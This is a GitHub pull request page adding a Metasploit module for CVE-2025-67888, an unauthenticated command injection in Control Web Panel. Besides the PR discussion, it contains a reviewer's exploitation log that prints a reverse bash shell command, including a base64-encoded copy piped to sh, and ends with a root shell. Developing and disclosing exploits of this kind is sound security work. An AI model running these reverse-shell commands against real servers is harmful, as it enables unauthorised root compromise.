Skip to content

Conversation

@JohannesLks
Copy link
Contributor

@JohannesLks JohannesLks commented Dec 24, 2025

Fixes #20788

Add Control Web Panel API Command Injection Exploit (CVE-2025-67888)

This PR adds a new exploit module for CVE-2025-67888, an unauthenticated OS command injection vulnerability in Control Web Panel (CWP) versions <= 0.9.8.1208.

What does this change do?

Adds exploit/linux/http/control_web_panel_api_cmd_exec which exploits a blind command injection via the key GET parameter in /admin/index.php when api=1 is set. Successful exploitation grants root-level access.

Prerequisites: Softaculous and/or SitePad must be installed via CWP Scripts Manager.

Files Added

  • modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb
  • documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md

Verification

  • Start msfconsole
  • use exploit/linux/http/control_web_panel_api_cmd_exec
  • set RHOSTS <target>
  • set RPORT 2031
  • set SSL true
  • set LHOST <attacker>
  • check
  • Verify target is detected as vulnerable (time-based check)
  • set payload cmd/unix/reverse_bash
  • exploit
  • Verify shell session opens with root privileges
  • Document verified via included documentation file

References

@JohannesLks JohannesLks marked this pull request as draft December 24, 2025 00:26
@bcoles
Copy link
Contributor

bcoles commented Dec 24, 2025

see #20788

Pro-tip: If you write "Fixes #20788", then when this PR is merged that issue will also be closed automatically.

@JohannesLks JohannesLks marked this pull request as ready for review December 24, 2025 11:43
@JohannesLks JohannesLks requested a review from bcoles December 24, 2025 11:43
@msutovsky-r7 msutovsky-r7 changed the title add module for CVE-2025-67888 Adds module for Control Web Panel API Command Injection Exploit (CVE-2025-67888) Jan 8, 2026
@msutovsky-r7 msutovsky-r7 changed the title Adds module for Control Web Panel API Command Injection Exploit (CVE-2025-67888) Adds module for Control Web Panel API Command Injection (CVE-2025-67888) Jan 8, 2026
…y single-line conditional - Remove unnecessary return keyword
…pears to CheckCode::Vulnerable - Add cmd/base64 encoder in Payload hash for Unix Command target - Simplify execute_command by removing manual base64 encoding
@msutovsky-r7
Copy link
Contributor

@JohannesLks would you mind providing bit more clear installation steps? I've been trying to install the CWP on fresh CentOS7 using this, but no luck so far, so I wanted check what was your approach for setting up the target?

@JohannesLks
Copy link
Contributor Author

JohannesLks commented Jan 9, 2026

@JohannesLks would you mind providing bit more clear installation steps? I've been trying to install the CWP on fresh CentOS7 using this, but no luck so far, so I wanted check what was your approach for setting up the target?

@msutovsky-r7 I also had a hard time setting it up, its not straightforward. I used CentOS 8 and I needed to modify the installation script.
cwp-el8-latest.sh

This should work, if you still hit a wall I am happy to help, but I think that was all it needs.

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(linux/http/control_web_panel_api_cmd_exec) > run verbose=true 
[+] bash -c '0<&67-;exec 67<>/dev/tcp/192.168.168.128/4444;sh <&67 >&67 2>&67'
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking vulnerability with sleep command (waiting 10 seconds)...
[*] Elapsed time: 10.31 seconds
[+] The target is vulnerable. Server waited 10.31 seconds (expected >= 10).
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Executing command: echo${IFS}YmFzaCAtYyAnMDwmMTU5LTtleGVjIDE1OTw+L2Rldi90Y3AvMTkyLjE2OC4xNjguMTI4LzQ0NDQ7c2ggPCYxNTkgPiYxNTkgMj4mMTU5Jw==|((command${IFS}-v${IFS}base64>/dev/null&&(base64${IFS}--decode||base64${IFS}-d))||(command${IFS}-v${IFS}openssl>/dev/null&&openssl${IFS}enc${IFS}-base64${IFS}-d))|sh
[*] Command shell session 1 opened (192.168.168.128:4444 -> 192.168.168.229:43278) at 2026-01-12 15:48:37 +0100


id
uid=0(root) gid=0(root) groups=0(root)

@msutovsky-r7 msutovsky-r7 moved this from Todo to In Progress in Metasploit Kanban Jan 12, 2026
@msutovsky-r7 msutovsky-r7 moved this from In Progress to Waiting on Contributor in Metasploit Kanban Jan 12, 2026
@github-project-automation github-project-automation bot moved this from Waiting on Contributor to In Progress in Metasploit Kanban Jan 14, 2026
@msutovsky-r7 msutovsky-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 14, 2026
@msutovsky-r7 msutovsky-r7 merged commit 7b092ae into rapid7:master Jan 14, 2026
19 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Jan 14, 2026
@msutovsky-r7
Copy link
Contributor

Release Notes

This adds a new module for Control Web Panel (CVE-2025-67888). The vulnerability is unauthenticated OS command injection through an exposed API. The modules require Softaculous to be installed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

CVE-2025-67888 — Control Web Panel <= 0.9.8.1208 Unauthenticated OS Command Injection Vulnerability

5 participants